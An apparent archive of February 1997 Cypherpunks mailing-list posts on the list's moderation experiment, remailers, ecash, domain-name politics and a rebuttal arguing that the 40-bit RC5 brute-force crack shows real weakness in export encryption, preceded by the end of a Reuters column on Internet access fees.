Rather than hurting phone companies, Internet traffic has been a
windfall, according to the coalition. In 1995, local phone companies
spent a total of $245 million adding 6 million residential phone lines
used primarily for Internet access, but reaped $1.4 billion in revenue
on those lines, the group said. 

If providers are required to pay access fees, they'll have no choice but
to raise their rates, which could stifle Internet growth just as it's
taking off, they say. 

Internet providers and phone companies are arguing their respective
positions in Washington, where the Federal Communications Commission is
considering the access-fee issue. 

As part of ongoing telecommunication industry reform, the FCC said in
late December it would cut access fees levied on long-distance carriers
and is investigating options for doing that. But the agency held off
making a decision affecting Internet use to allow time for parties with
an interest in the issue to present their cases. 

The FCC took the unusual step of setting up an e-mail address --
isp@fcc.gov -- consumers and others can use to send their thoughts.
Internet providers and phone companies have until Feb. 21 to submit
formal comments, and the agency is expected to make a ruling later this
year. 

Even if the FCC levies access fees on providers and companies raise
rates accordingly, it won't dampen consumers' love affair with the
Internet, some analysts said. 

If, for example, Internet providers passed through an access fee of 1
cent a minute, a subscriber spending 10 hours online a month would pay
an extra $6 -- hardly a deterrent, said David Goodtree, an analyst with
Forrester Research in Cambridge, Mass. 

"Cable TV rates have doubled in the last three or four years, we got
nothing more for it, but cable subscribership didn't go down because of
it," Goodtree said. 

On one point everyone agrees -- the nation's current analog telephone
network eventually will not be able to handle demand from Internet
users, and must be supplanted by a digital system better suited to
transmitting computer data. 

Both phone companies and Internet providers have begun working on
solutions. Phone carriers that have offered digital ISDN (integrated
services digital network) lines are stepping up their marketing efforts.
Phone companies and Internet providers are investigating a new
technology called digital subscriber line, or DSL, which routes Internet
phone traffic around analog phone-company switches into all-digital
networks. 

But inevitably, discussion of DSL and other new technologies circles
back to who'll pay for upgrades. Sky Dayton, president of Internet
provider Earthlink Networks in Pasadena, Calif., believes it is in phone
companies' best interests to spend on digital upgrades because of the
profit potential from selling them to companies such as his. 

But why should phone companies pick up all the costs when Internet
service providers will benefit, too, says Pacific Bell spokesman Bob
Deward. 

(Michelle V. Rafter writes about cyberspace and technology from Los
Angeles. Reach her at mvrafter@deltanet.com. Opinions expressed in this
column are her own.) 

Copyright, Reuters Ltd. All rights reserved




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Fri, 7 Feb 1997 11:40:20 -0800 (PST)
To: Mike Duvos <mpd@netcom.com>
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702071636.IAA26298@netcom19.netcom.com>
Message-ID: <Pine.SUN.3.91.970207112428.25330B-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Fri, 7 Feb 1997, Mike Duvos wrote:

> ...Messages apparently do not get moderated in the order in
> which they are received...

All messages are filtered and posted in the order in which I
receive them.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Otto Matic" <ott0matic@hotmail.com>
Date: Fri, 7 Feb 1997 11:36:04 -0800 (PST)
To: lwjohnson@grill.sk.ca>
Subject: Cool Names, Lost in Flames
Message-ID: <199702071935.LAA14027@f14.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


Some time ago Human Gus-Peter wrote something that went like this:

> I still think that you should just let your kids run your machine or
> just pick the guy with the coolest name, like Attila the Hun or 
> Genocide or OttOmatic.

Thanks, Human Gus-peter.  I think my name is cool also.  

I am only suscribeed to the flames list, because my uncle (a secret guy) reads
the CENSORED list.  This way we can see what the other secret guys are up to,
and what kind of KewL StUfF they throw into the Flames Trashcan.

Human Gus-peter, I think you should be very careful.  They throw 
everything you write into the trash.  That could mean they are watching you. 
That could be VERY bad for you.  We will see where this message goes.

otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 08:51:55 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <1.5.4.32.19970207164600.006a07e4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Strassmann served on the "Information Warefare - Defense"
Task Force sponsored by the Defense Science Board. He has a
Web site at: 

   http://www.strassmann.com

The IW-D report recounts most of the well-known info-war memes
to buttress its plea for more info-warfighting funds, and says that
business needs DoD protection.

It de-emphasizes the encryption debate, claiming that crypto is not 
an important part of the problem or the solution. Remailers are not 
mentioned.

Short and long versions of IW-D: 

   http://jya.com/iwd.htm

Winn Schwartau's infowar.com offers it too.

SAIC was generously represented on the Task Force: Strassmann,
Bellcore's head, a couple more. As well as others committed to "raising
the bar" against attack on Info-Maginot: 

   http://jya.com/iwdaff.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Fri, 7 Feb 1997 11:57:00 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Which list am I on?
In-Reply-To: <199702071829.LAA19644@infowest.com>
Message-ID: <Pine.SUN.3.91.970207114116.26267A-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Fri, 7 Feb 1997, Attila T. Hun wrote:

>     no way to tell what list your receiving from; the software Sandy 
>     and John installed to facilitate their un-American activities is 
>     hosed.  in most cases it fails to apply the correct sender name,
>     defaulting to the main, supposedly censored list.

That's why we call it a test.  I have no software.  Everything
I'm doing is manual.  Whatever John has done is probably jerry
rigged just for the test.  

If list members opt for moderation, more effort will be put into
the moderation infrastructure.  The idea right now is to see how
well a first aproximation of moderation works.  If it seems like
a step in the right direction, great.  If everyone thinks it
sucks, well that's great too.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed.Falk@Eng.Sun.COM (Ed Falk)
Date: Fri, 7 Feb 1997 11:59:27 -0800 (PST)
To: zinc@zifi.genetics.utah.edu
Subject: Re: lead remailer is shut down
Message-ID: <199702071958.LAA18779@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



Can't remailers be written with basic spam safeguards?  I.e. no mass
crossposts, limited # of posts by each individual client per day, etc.?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Briceno <marc@digicash.com>
Date: Fri, 7 Feb 1997 12:39:18 -0800 (PST)
To: Jeremey Barrett <dev-lucre@c2.net
Subject: Re: World's first Ecash note
Message-ID: <3.0.32.19970207123804.0076b3b8@mail.ccnet.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:26 PM 2/6/97 -0800, Jeremey Barrett wrote:
>The world's first Ecash note has been printed!
>
>A USD 0.01 note made out to anyone can be found at:
>
>	http://www.veriweb.com/people/jeremey/ecash/1_cent.html
>
>The data portion of the note is a PDF417 2-D barcode, containing a
>standard ecash payment of 1 US cent. 

Congratulations to Jeremey for printing the world's first Ecash note! I
hereby declare Jeremey the winner of the "encoding Ecash as 2D-bar code"
contest. The money will be awarded this Saturday. Now, we need decoding
software. :-)

[There is a $100 reward (out of my own pocket) for the first freeware
decoder. Source required. This is a "just for fun" contest. I know that
$100 won't pay for the time spent on the project.]



-- Marc Briceno <mailto:marc@digicash.com>
   Ecash(tm) Electronic Cash Evangelist/Developers Support
   <http://www.digicash.com/>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <trei@ziplink.net>
Date: Fri, 7 Feb 1997 09:44:29 -0800 (PST)
To: infowar@infowar.com
Subject: Re: 40-bit RC5 crack meaningless?
Message-ID: <199702071741.MAA20475@zip1.ziplink.net>
MIME-Version: 1.0
Content-Type: text/plain



Subject: Re: 40-bit RC5 crack meaningless??
From: Peter Trei <ptrei@acm.org>

> Subject:       40-bit RC5 crack meaningless??

Mr. Strassman allegedly sent the quoted letter to Winn Schwartaus'
"infowar" mailing list, and it was then posted by persons unknown to
the sci.crypt usenet group. Identity on the internet being the fluid
thing it is, I apologize in advance if he never sent this letter, or
if it has been modified before it reached me.

The quoted letter attempts to minimize the importance of Ian
Goldberg's recent bruteforce decryption of export-strength RC5
encryption.

In my opinon, as described below, Mr. Strassman's arguments are
without merit when applied to the situation the RSA challenges are
intended to model - the security of encrypted Internet protocols. As
such, I feel that his letter may lull some people into an unjustified
and dangerous sense of security.

> >Date: Thu, 30 Jan 1997 20:10:36 -0500
> >From: "Paul A. Strassmann" <paul@strassmann.com>
> >Subject: Further to Goldberg's Cracking Accomplishments
> >Gentlemen:
> >
> >As I suspected (see earlier private comment), the
> >highly promoted RSA cracking contest offered
> >a number of clues that ordinarly would not be
> >volunteered by  info-terrorists or info-criminals to
> >IW Defense teams.

> >These clues made the cracking significantly easier,
> >because it made it possible to eliminate an enormous
> >range of possible searches.

What's the target, and who is doing the encrypting?  These "clues"
_are_ available to adversaries engaged in industrial and economic
espionage; a important part of a covert infowar.

It's certainly true that "info-terrorists or info-criminals" will not
be so easy to tap, but the absence of these 'clues' is a red
herring. They will be secure because they will use good encryption,
which is not what US firms can export today.

The challenges are realistic models of encrypted Internet protocols,
for example IPSEC with ESP data encryption. As such, they accurately
display the vulnerability of data on the Internet to espionage.

> >The following was extracted verbatim from the
> ><The RSA Data Security Secret-Key Challenge>
> >posted on <http://www.rsa.com/rsalabs/97challenge/>:
> >
> >Clue #1:
> >
> >  " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge
> >will use 12-round RC5 with a 32-bit word size. "
> >
> >Clue #2:
> >
> >  " ...The first RC5 contest will consist of some unknown plaintext
> >encrypted using a 40-bit key;."

Clues #1 and #2 are absolutely reasonable - in an open standard, it is
absolutely normal to know the cipher being used, it's mode, and the
length of the key. See the SSL specification, or IPSEC's RFCs.

> >Clue #3: (a  giveway!)
> >
> > " ... For each contest, the unknown plaintext message is preceded by three
> >   known blocks of text that contain the 24-character phrase "The
> >   unknown message is:  .....".

To those who are unfamiliar with Internet protocols, this would appear
to give the cryptanalyst an unrealistic head-start. This is not the
case.  Most Internet protocols have highly stereotyped packet headers;
for example, _every_ normal return packet from a web server starts out
with the string "HTTP/1.0" (servers using something other than version
1.0 are rare as hen's teeth at the moment).  When you consider that
such a packet may contain a firm's confidential earnings predictions
or trade secrets (hopefully encrypted), the economic importance of
such data is clear.

Similar stereotyped headers exist for many other protocols, such as
NNTP and SMTP. As such, a known-plaintext attack, as modeled by
RSADSI's symmetric key challange, is quite realistic.

Even if a full known plaintext for the first block is unavailable, a
knowlegable cryptanalyst can usually make some very reasonable
assumptions which will greatly speed his or her task. (I'm assuming
DES here - which has a 64 bit block, but the argument extends easily
to other block sizes). For example, if we know that the data contains
only printable ASCII characters (true for the headers of most Internet
protocols), then for a 64 bit block, there are 8 bits which we _know_
will be zero in the decrypted block. This lets us dispose of 255 out
of every 256 incorrect trial decryptions immediately, and we will have
to perform more extensive tests on less then 0.4% of candidate keys.

Similar intelligent guesses can be made about the headers of other
protocols, for example IPSEC-secured IPv6 packet headers in tunneling
mode.

Some people have noted that the challenges include the IV, or
'initialization vector' used in CBC (cipher-block-chaining) modes of
encryption, and argue that this would not be available to an
adversary. Once again, this assertion falls when examined in the light
of actual usage.

The purpose of an IV is to make dictionary and replay attacks more
difficult. It is not intended to prevent brute force attacks, and so
is _normally_ included in the clear in communications protocols (for
example, see RFC 1827 for it's clear transmission in IPSEC). If it
is not included, it is effectively part of the keying material, and
thus adds it's bits to the strength of the key. As such, its value
would have to be transmitted and protected as carefully as the rest of
the key.  

> >In summary: The claim of exportable cryptography being totally 
> >insecure, because it can be cracked in 3.5 hours is not 
> >realistic. The three clues announced in the contest 
> >would not apply under infowar conditions.

As I have shown above, Mr. Strassman's optimism is misplaced in the
case of actual, fielded use of encryption on the Internet. It may
apply to some classified systems, but they don't use exportable
cryptography anyway. A covert inforwar against commercial and private
targets is _quite_ plausible.

> >What other clues may have been provided to Goldberg
> >to  support private agendas and gain shrill headlines
> >is also a matter of speculation, but I rest my case.

What exactly is he hinting at here?

> >I certainly cannot assert that a 40 bit key cannot be decyphered.

Of course he can't. 40 bits of RC4 encryption (as used in the
exportable version of Netscape) was brute-forced not once, but three
separate times in the fall of 1995, the fastest effort taking about 28
hours. Today it could be done much more quickly, as Ian demonstrated
with RC5 (an algorithm of similar complexity).

> >However, I do not think that the RSA unqualified claims
> >offer full and appropriate disclosure.

I disagree. The RSA challenges accurately model the use of encryption
on the unclassified Internet. Ian's decryption of 40-bit RC5 is of
considerable importance in demonstrating the insecurity of American
citizens caused by Administration efforts to compromise exportable
encryption.

In my opinon, Mr. Strassman's assertions as to the strength of
exportable encryption are too dangerous to be left unchallenged.

> >Paul A. Strassmann
> >55 Talmadge Hill Road, New Canaan, CT. 06840
> >Telephone: 203-966-5505; Fax: 203-966-5506
> >INTERNET:                  paul@strassmann.com
> >WorldwideWeb:           http://www.strassmann.com

Peter Trei
ptrei@acm.org

Disclaimer: I am speaking as a knowlegable private citizen, not as
a representative of my employer. This posting represents my opinon
only.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Date: Fri, 7 Feb 1997 10:49:56 -0800 (PST)
To: Charley Musselman <c.musselman@internetmci.com>
Subject: Re: anonymous remailers
In-Reply-To: <199702062301.PAA02208@toad.com>
Message-ID: <9702071849.AA01238@ch1d157nwk>
MIME-Version: 1.0
Content-Type: text/plain


Charley Musselman writes:
>  Does anyone know the answer?  Specifically, how can we choose
>  a trusted remailer?

The answer is to run your own remailer.  Make sure your chain includes your  
remailer at least once.  If you can't trust yourself, who can you trust?


andrew




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 7 Feb 1997 12:55:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <Pine.SUN.3.91.970207112428.25330B-100000@crl.crl.com>
Message-ID: <199702072055.MAA29680@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


SANDY SANDFORT sez:

> On Fri, 7 Feb 1997, Mike Duvos wrote:

> > ...Messages apparently do not get moderated in the order in
> > which they are received...

> All messages are filtered and posted in the order in which I
> receive them.

That's all very nice, but I should point out that I have not yet
seen my message to which you are responding on the filtered list. 

Others mileage may vary. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 7 Feb 1997 12:58:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702072055.MAA29680@netcom13.netcom.com>
Message-ID: <199702072058.MAA29945@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


In a previous message, I wrote:

> That's all very nice, but I should point out that I have not yet
> seen my message to which you are responding on the filtered list. 

It just trickled into my mailbox.  I take that back.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 7 Feb 1997 12:59:49 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702070655.WAA12884@toad.com>
Message-ID: <199702072059.MAA15672@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>
>(It is true that Vulis uses the phrase "Limey faggots," in reference to
>beer-serving habits, but he does not directly insult any list members with
>this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
>be blocked from their usual characterizations of Congresscritters and NSA
>stooges.)

TCM defending Vulis, I think I've died and am in some strange
dreamworld. hehehehe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 7 Feb 1997 13:04:10 -0800 (PST)
To: frogfarm@yakko.cs.wmich.edu (Damaged Justice)
Subject: Re: Metzger, Denninger square off
In-Reply-To: <199702071941.LAA29268@toad.com>
Message-ID: <199702072103.NAA09603@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Damaged Justice writes:
> 
> [Forwarded from Wired news. Let's cut to the chase: Which side is in the
> right? Who can tell me, in plain and simple language, who is fighting for
> individual freedom and property rights, and who is not?]

>    [LINK] Foes Vow to Take Domain Name Fight to FCC
>    by Gene Koprowski
>    
>    5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc
>    Committee (IAHC) to expand the number of Internet top-level domain
>    names is stirring opposition among alternative domain name providers.

[..]

>    Denninger said he received a leaked copy of the IACH proposal earlier
>    this week, and he and his colleagues are considering bringing their
>    protests to the FCC. "We're given open access under the telecom law,"
>    says Denninger. "We might talk to the FCC or the Clinton
>    administration about this." Barring that, Denninger will lobby
>    Internet service providers around the country, asking them not to
>    recognize the new GTLDs. "There is no reason to support it. We will do
>    everything in our power to convince ISPs not to go along," he says.



Karl's worried that the new GLTD system might mean that some sites
will be unreachable, so he's going to lobby ISPs to not accept the
new GLDTs to ensure that sites are unreachable?

This reminds me of the Vietnam era "We had to destroy the village in
order to save it."

If I didn't already think that Karl was an idiot, I'd sure think so after
reading this.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 7 Feb 1997 13:15:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: automated moderation system
Message-ID: <199702072115.NAA20550@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



here's an idea for a simple "moderation" system with no
one-moderator bottleneck/choke point. I'm trying to come
up with a constructive solution with cyberspatial spirit.
please send me email if you would be willing to try this system. 
flames ignored. if there is enough support I may be able to
persuade a friend to write the code to do this.

a new mailing list is set up, one that gets posts from a
noisy mailing list. it filters the mail according to user
preferences, and sends it out to its own subscribers. the
filtering scheme is as follows:

a web site is set up that allows people to express their
own preferences as to who they wish to listen to in particular,
and who they wish to killfile, based on email address. 
first, they hit the web site
and have it send them a secret password to their email address.
then they use that password to edit their "pass" and "zap"
lists. (the password is for authentication)

now, the mailing list works as follows. people always receive
posts from people they put on their "pass" lists. mail from
entities on their "zap" lists is always trashed.

why are the lists kept on the server? the usefulness of this
scheme is that now you have information about all entities,
the number of votes to "pass" each entity, and the number of
votes to "zap" each entity. now lets say that the system is
considering sending me mail from someone that is neither on
my pass or zap lists. I have no personal info on it, but the
system could use the votes in some algorithmic way to decide
whether to send it to me or not. various experiments could
be tried to come up with a good scheme.

 my preference is at
the moment something like this: every person indicates how
much mail they wish to recieve from the list, and how much
of a delay is acceptable. the system uses this information
and the "pass/zap" ratio (or difference) to send out the
"highest rated" messages in a given time window. during
low list traffic, the messages that pass through would be
ranked lower. or, the system could have a ranking threshold
set by each individual user below which it will never pass 
the email.

my feeling is to keep these lists public, although the scheme
would allow a system that kept them private. of course I will
be flamed for this.

the system of course is essentially a reputation system, something
everyone here talks about but nobody really seems to know what
one is or how to set one up.

anyway, I hope to hear from anyone with comments. if you might
be able to support a cgi web site for the idea, please let me
know. technically the system is pretty straightforward. my 
experience with these systems is that the great difficulty is
getting people to try them, the "critical mass" problem.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 7 Feb 1997 10:22:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Metzger, Denninger square off
Message-ID: <199702071824.NAA05470@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




[Forwarded from Wired news. Let's cut to the chase: Which side is in the
right? Who can tell me, in plain and simple language, who is fighting for
individual freedom and property rights, and who is not?]

   [LINK] Foes Vow to Take Domain Name Fight to FCC
   by Gene Koprowski
   
   5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc
   Committee (IAHC) to expand the number of Internet top-level domain
   names is stirring opposition among alternative domain name providers.
   
   Opponents call the plan "unenforceable," and are considering filing a
   protest with the Federal Communications Commission, indicating that
   the IAHC policy might violate the 1996 Telecommunication Act's open
   access provisions.
   
   "We didn't want to have to get my guns, rifles, and bombs out - but
   now we have to," Carl Denninger, president of Macro Computer
   Solutions, Chicago, a long-time opponent of IACH, tells Wired News.
   "If someone doesn't point a revolver at them, they will be able to do
   whatever they want to do."
   
   On Tuesday, the intergovernmental body issued a proposal to expand the
   number of generic top-level domains (GTLDs), adding seven new listings
   in addition to the existing ones, which include the familiar .com,
   .net, and .org. The new GTLDs would include .firm, for businesses;
   .store, for retail businesses; .web, for Web-related companies; .arts,
   for cultural organizations; .rec, for recreation and entertainment
   facilities; .info, for information services; and .nom, for
   individuals.
   
   Perry Metzger, a member of the IAHC board, said that the organization,
   whose members include the International Telecommunications Union and
   the World Intellectual Property Organization, will likely formally
   approval the proposal very quickly. "This is not a done deal. The
   paperwork needs to be signed. An association to handle this has to be
   set up," says Metzger. "But it will go forward very soon. I'm sure
   plenty of people will not be in favor of it. But the question is: What
   can they do to stop it?"
   
   The answer is plenty, says Denninger. He and others, like Eugene
   Kashpureff of Alternic, have long fought the IAHC's attempts to expand
   the number of GTLDs. They think the creation of these new categories
   may lead to trademark infringement and other intellectual property
   problems. They also think the new domain names will "fragment" the
   Internet, leaving some users unable to communicate with others, if a
   server does not recognize the name request.
   
   Denninger said he received a leaked copy of the IACH proposal earlier
   this week, and he and his colleagues are considering bringing their
   protests to the FCC. "We're given open access under the telecom law,"
   says Denninger. "We might talk to the FCC or the Clinton
   administration about this." Barring that, Denninger will lobby
   Internet service providers around the country, asking them not to
   recognize the new GTLDs. "There is no reason to support it. We will do
   everything in our power to convince ISPs not to go along," he says.
   
   As part of that, he is launching a national public relations and
   lobbying campaign to alert the Internet community about the IACH
   proposal. [LINK]
   
        Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
        All rights reserved.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 13:24:03 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702070655.WAA12884@toad.com>
Message-ID: <v03007801af214e8df513@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:59 PM -0800 2/7/97, Vladimir Z. Nuri wrote:
>>
>>(It is true that Vulis uses the phrase "Limey faggots," in reference to
>>beer-serving habits, but he does not directly insult any list members with
>>this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
>>be blocked from their usual characterizations of Congresscritters and NSA
>>stooges.)
>
>TCM defending Vulis, I think I've died and am in some strange
>dreamworld. hehehehe

I'm arguing against two things:

1. The basic notion of centralized moderation, with the name "Cypherpunks"
now closely associated with a Big Brotherish, "we know what's better for
you than you do" sort of censorship.

2. The apparently careless and inconsistent way Sandy is censoring posts.
As others have also noted, non-flamish posts are being sent to the Flames
list. A censor who will not take the time to read the list traffic on a
continuing basis, e.g., by spending the several hours a day on it that many
of us spend (or used to spend), is not suited to be a censor. I suggested
at the time of his self-appointment to the role of Censor that Sandy would
not devote the needed time to this task. (Not that this makes censorship
OK, mind you.)

I'm not defending Vulis per se, and I continue to think Vulis is a twit.
But one of the goals Vulis apparently set out to accomplish (just as you
did a couple of years ago, Larry) was to force the list to start censoring
itself, even to force the list to shut down.

It seems likely that Vulis is quite happy with the outcome here.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 11:00:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Project 25 Radio
Message-ID: <1.5.4.32.19970207185418.006ee0e4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The National Communications Systems published in the
Federal Register of February 6, a notice of FTR1024 
covering Land Mobile Radio, Project 25. The recommentation
specifies encryption: DES (Type 3) and Type 1 for classified use. 
The specifications are based on seven public TIA documents 
and one classified NSA document.

   "This recommendation is intended to facilitate interoperability 
   among telecommunication facilities and systems of the Federal 
   Government."

The official document is available in PDF format at:

   http://members.aol.com/Project25/1024.pdf

We've prepared a hypertext version:

   http://jya.com/ftr1024.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 13:49:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: More on the Stronghold Charge
In-Reply-To: <v03007801af20611fe990@[207.167.93.63]>
Message-ID: <v03007803af21536e1a68@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


Vulis has sent me private mail, which I won't quote here because of the
usual netiquette standards that private mail not be quoted (though it's
legal to do so). He asserts that a few weeks ago he sent criticisms of
Stronghold out to the Cypherpunks list, and the criticisms did not appear
on any of the distributed lists.

He claims he then received communications from C2Net of a legal nature,
threatening him with legal action. I'll let Vulis elaborate if he wishes,
as I don't know the situation. And I encourage him to do so, for more than
one reason.

As I just replied to "Against Moderation" on, I would like to see these
articles which were suppressed. Please repost them to the list, and copy me
to ensure that I get them.

If this claim is true, that Sandy blocked criticism of Stronghold from
reaching either the Main list (bad enough), or from even going out at all
on the Flames list (reprehensible), then this is an extremely serious
charge.

If the claim is true that Sandy used articles sent to the Cypherpunks list,
but never distributed to the list, as the basis by the company which
employs him of legal threats of any kind, then this is even more than just
"extremely serious."

I would like to hear more from Vulis, and copies of any such articles, and
of course would like to hear Sandy's version of things.

This is too serious a charge not to resolve.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 7 Feb 1997 14:13:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IEEE Communications
Message-ID: <v02140b07af2159ded614@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>A friend called this evening to let me know the February issue is dedicated
>to electronic cash and its implications.  I'm no longer an IEEE member.  If
>any of the various list members care to excerpt and comment on some of the
>more interesting portions, I'm sure it would be appreciated.
>
>--Steve

Correction: It's the February issue of IEE Spectrum, subtitled "Technology
and the Electronic Economy."

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 7 Feb 1997 14:25:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crack a Mac and win a fortune.
Message-ID: <v03010d04af215b76f3a8@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain


A Swedish company, http://www.infinit.se/hacke/crack.html
is offering a 10,000 Swedish Kronor reward to the first
person to successfully attack (change information on) their
web server. See their press release at
   http://www.infinit.se/hacke/release.html
for details and the URL of the system to hack.

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gr8SClaus@aol.com
Date: Fri, 7 Feb 1997 11:57:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hello, Duncan
Message-ID: <970207004535_-1442662479@emout08.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


I saw your listing for accessing senior citizens newsgroups through
compuserve.
Do you think, by chance, that the same would be possible through america
online?
I'm a senior citizen of 59 but find myself liking middle age to older and
find the only source on line (that i can locate as am anateur) is netpics.com
and you have to pay for this service.  But I do enjoy looking at older GUYS
and find mostly girls--even on netpics.

Thanks.
Dave




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 14:53:34 -0800 (PST)
To: Against Moderation <antimod@nym.alias.net>
Subject: Re: Is Sandy really censoring criticisms of Stronghold, hisproduct?
In-Reply-To: <19970207220720.15530.qmail@anon.lcs.mit.edu>
Message-ID: <v03007804af2160f848b5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:07 PM +0000 2/7/97, Against Moderation wrote:
